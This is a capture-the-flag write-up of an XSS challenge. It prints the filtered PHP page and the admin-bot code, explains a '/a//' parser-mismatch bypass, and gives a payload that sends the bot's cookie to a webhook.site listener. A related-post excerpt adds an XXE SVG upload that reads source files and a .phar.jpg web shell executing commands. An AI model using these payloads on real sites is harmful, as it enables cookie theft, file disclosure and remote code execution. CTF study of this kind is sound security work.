Skip to main content
  1. Write-ups/
  2. CTF Write-ups/

Czechoslovakia XSS Challenge | Hackena Ramadan CTF

·827 words·4 mins·
Table of Contents

How I Exploited an XSS vulnerability in a filtered input parameter using the /a// bypass technique to steal the admin bot’s FLAG cookie through a webhook exfiltration.

Components
#

  • Web App (index.php): Reflects user input inside a <script> tag with strict filtering
<?php

function check($input) {
    $whitelist = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789;"/';
    $result = '';
    $len = strlen($input);

    if(str_contains($input, '<')){
        return false;
    }
    if(substr_count($input, '"') > 1){
        return false;
    }

    for ($i = 0; $i < $len; $i++) {
        $char = $input[$i];

        if (strpos($whitelist, $char) !== false) {
            $result .= $char;
        }
        else {
            return false;
        }

        if ($char === '/' && isset($input[$i+1]) && $input[$i+1] === '/') {
            if (strpos($result, '"') !== false) {
                break;
            }
            $result .= '//';
            $i++;
        }
    }

    return $result;
}

function remove_all_whitespace(string $s): string {
    return preg_replace('/[\p{Z}\p{C}\s]+/u', '', $s);
}

$name = remove_all_whitespace($_GET['name'] ?? "Guest");

if (!check($name)) {
    $name = "Guest";
}

?>

<h3 id="welcome"></h3>
<script>
document.getElementById("welcome").innerText = "Welcome, <?=$name?>";
</script>
  • Admin Bot (admin_bot.js): Bot that visits URLs with a FLAG cookie set
const express = require('express');
const puppeteer = require('puppeteer');

const app = express();
const PORT = 3000;

app.use(express.json());

app.post('/visit', async (req, res) => {
  const { url } = req.body;
  if (!url) return res.status(400).json({ error: 'Missing url' });

  if (!(url.startsWith('https://web-czechoslovakia.hackena-labs.com/') || url.startsWith('http://web-czechoslovakia.hackena-labs.com/'))) {
    return res.status(400).json({ error: 'Only http(s)://web-czechoslovakia.hackena-labs.com/ allowed' });
  }

  const browser = await puppeteer.launch({
    headless: 'new',
    args: ['--no-sandbox', '--disable-dev-shm-usage'],
  });

  const page = await browser.newPage();
  await page.setCookie({
    name: 'FLAG',
    value: process.env.FLAG || 'FLAG_NOT_SET',
    url: 'https://web-czechoslovakia.hackena-labs.com/',
    path: '/',
    secure: false
  });

  try {
    await page.goto(url, { waitUntil: 'networkidle2', timeout: 60000 });
    res.json({ success: true, message: 'Visited successfully' });
  } catch (err) {
    console.error('Error:', err);
    res.status(500).json({ error: 'Automation failed', details: err.message });
  } finally {
    await browser.close();
  }
});

app.listen(PORT,"0.0.0.0", () => {
  console.log(`Server is running on http://localhost:${PORT}`);
});

Let’s start with understanding the code:

In index.php:

<h3 id="welcome"></h3>
<script>
document.getElementById("welcome").innerText = "Welcome, <?=$name?>";
</script>

The name parameter is directly embedded to the JavaScript context without proper validation or encoding.

In admin_bot.js:

await page.setCookie({
    name: 'FLAG',
    value: process.env.FLAG || 'FLAG_NOT_SET',
    url: 'https://web-czechoslovakia.hackena-labs.com/',
});

The bot visits any URL in the target domain with the FLAG cookie set.

Understanding the filters
#

The application implements TWO layers of filtering:

Filter Layer 1: Whitespace Removal

function remove_all_whitespace(string $s): string {
    return preg_replace('/[\p{Z}\p{C}\s]+/u', '', $s);
}

Removes ALL whitespace characters including: spaces, tabs, newlines, unicode whitespace, control characters.

Filter Layer 2: Character Whitelist & Logic

function check($input) {
    $whitelist = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789;"/';

    if(str_contains($input, '<')) return false;
    if(substr_count($input, '"') > 1) return false;

    for ($i = 0; $i < $len; $i++) {
        $char = $input[$i];
        if (strpos($whitelist, $char) === false) return false;

        if ($char === '/' && isset($input[$i+1]) && $input[$i+1] === '/') {
            if (strpos($result, '"') !== false) break;
        }
    }
    return $result;
}

Summary of Constraints:
#

  • No < → Cannot use HTML tags | Blocks <script>, <img>, etc.
  • Max 1 " → Only one double quote, Limits string escaping options
  • Whitelist only → Letters, digits, ;, ", / Blocks parentheses, dots, special chars, etc.
  • No whitespace → All spaces removed, Must write JavaScript without spaces
  • // stops after " → Processing ends at // if " exists before it KEY LOOPHOLE!

The core trick in the challenge (Parser Mismatch)
#

The filter and JavaScript parser interpret the same text differently. Here’s why:

From the PHP perspective: Input: ";/a//(malicious_code)// " → quote found → ;, / , a, / → Valid characters → / → This is the second slash!, the server check if there was a " before and yes so the assumption → Everything after // is a comment (safe) so stop validation.

From the JavaScript perspective:

document.getElementById("welcome").innerText = "Welcome, ";/a//(malicious_code)//";
  • " → String literal
  • ; → Statement terminator
  • /a/ → Valid regex literal (harmless by itself).
  • // → Looks like the start of a comment, but only after the parser has already accepted /a/ as a complete expression.
  • (malicious_code) → Treated as a new expression, so it executes.
  • // → Starts a comment

After all this, let’s confirm our approach is true by trying to make an alert: ?name=";/a//(alert(1))// and doneeeee

Now I should build the full exploit to steal the flag.

After skipping the filter by ";/a// the following code is that we will steal the flag with. The intended path is to make the admin_bot visit the URL and then will send the flag back as a cookie.

We can receive the cookie in a listener like webhook, So the exploit will be:

(window.location='https://webhook.site/YOUR_ID/?c='.concat(btoa(document.cookie)))
  • document.cookie — Retrieves all cookies (including FLAG)
  • btoa(document.cookie) — Base64 encodes the cookie data
  • .concat() — Appends the encoded data to our URL
  • window.location= — Redirects to our webhook, exfiltrating the data

The final payload:

";/a//(window.location='https://webhook.site/YOUR_ID/?c='.concat(btoa(document.cookie)))//

The Exploitation Steps:

  1. Encode the payload
  2. https://web-czechoslovakia.hackena-labs.com/?name=<ENCODED_PAYLOAD>
  3. Make the bot visit the URL by sending a request to visit endpoint:
curl -X POST https://web-czechoslovakia-bot.hackena-labs.com/visit \
  -H "Content-Type: application/json" \
  -d '{"url": "https://web-czechoslovakia.hackena-labs.com/?name=<ENCODED_PAYLOAD>"}'
  1. Receive the flag in your webhook and decode it.

DONE FOR THE DAY — SEE YOU IN ANOTHER CHALLENGE ;)

db1M
Author
db1M
Mohanad Edrees — penetration testing enthusiast and CTF player.

Related

No Notes CRLF Challenge | Hackena Ramadan CTF

·1344 words·7 mins
How I exploited HTTP response splitting to steal cookies from an isolated bot using only time measurements. The Challenge That Said “No” # When I first landed on the No Notes hehe challenge, I was greeted with a peculiar message:

BCACTF 2025 Write-Up

·1927 words·10 mins
Misc Category # expletive # oh no! It seems like only some of the characters on my keyboard are working…

File Upload Skill Assessment

·560 words·3 mins
Inspecting the webapp and the functionalities found a submit flag functionality. I read the JS and the HTML codes to see the validation of the frontend, noticed that only images extensions are allowed. I uploaded a .png file and see the request in the burp. it was a GET request and it supposed to be a POST request in uploading a file, so I inspect the code to see the right place to upload files and found in the JS file the correct is to send to the endpoint: contact/upload.php I asked AI to create me a curl request to send a POST request to this endpoint. I fuzzed to see the allowed extension and the allowed content type too and found that svg and images/svg+xml are allowed. So I thought about upload a svg file with XXE payload to craft gain the source code of the backend to know the logic, blacklist, and the whitelist of the uploading function. curl -s -X POST "154.57.164.61:30775/contact/upload.php" \ -F "uploadFile=@/dev/stdin;filename=shell.svg;type=image/svg+xml" \ <<< '<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/contact/upload.php">]> <svg xmlns="http://www.w3.org/2000/svg" width="500" height="500"> <text y="20">&xxe;</text> </svg>' The parameters of the payload got from the HTML code inspection: <input name="uploadFile" id="uploadFile" type="file" class="custom-file-input" id="inputGroupFile02" onchange="checkFile(this)" accept=".jpg,.jpeg,.png"> We got the source code encoded, after decoded, we knew the logic: <?php require_once('./common-functions.php'); // uploaded files directory $target_dir = "./user_feedback_submissions/"; // rename before storing $fileName = date('ymd') . '_' . basename($_FILES["uploadFile"]["name"]); $target_file = $target_dir . $fileName; // get content headers $contentType = $_FILES['uploadFile']['type']; $MIMEtype = mime_content_type($_FILES['uploadFile']['tmp_name']); // blacklist test if (preg_match('/.+\.ph(p|ps|tml)/', $fileName)) { echo "Extension not allowed"; die(); } // whitelist test if (!preg_match('/^.+\.[a-z]{2,3}g$/', $fileName)) { echo "Only images are allowed"; die(); } // type test foreach (array($contentType, $MIMEtype) as $type) { if (!preg_match('/image\/[a-z]{2,3}g/', $type)) { echo "Only images are allowed"; die(); } } // size test if ($_FILES["uploadFile"]["size"] > 500000) { echo "File too large"; die(); } if (move_uploaded_file($_FILES["uploadFile"]["tmp_name"], $target_file)) { displayHTMLImage($target_file); } else { echo "File failed to upload"; } i want to get the flag then The code tells us the following: 1. Blacklist: blocks .php .phps .phtml 2. Whitelist: filename must end in [a-z]{2,3}g → jpg, png, svg, jpeg 3. Content-Type: must match image/[a-z]{2,3}g → image/jpg, image/png, image/svg, image/jpeg 4. MIME: same regex check on actual file content 5. Upload dir: ./user_feedback_submissions/ 6. The file is stored in the database with a unique schema --> DATE_Filename I noticed that the .phar extension not in the blacklist so I can use in uploading a shell which can allow execution of a PHP code. The vulnerability of the whitelist is that it only checks the end of the filename extension has a g so using jpg with double-extension technique will bypass the filters. To ensure the attack implemented successfully, we should put a jpg signature to bypass the MIME check –> \xff\xd8\xff\ ![[Pasted image 20260607022513.png]] So the full request will be: ![[Pasted image 20260607022051.png]] The shell is uploaded and now we want to visit it, after some struggling with the data I reached the true path: http://154.57.164.61:30775/contact/user_feedback_submissions/260606_shell.phar.jpg?cmd=ls The flag isn’t in flag.txt as I tried before catch it with the same way I get the source code, so I knew that I needed an RCE. I search about flag in the entire system: find / -name 'flag*' -o -name '*flag*' -o -name '*.flag' 2>/dev/null The flag in flag_2b8f1d2da162d8c44b3696a1dd8a91c9.txt , just read it.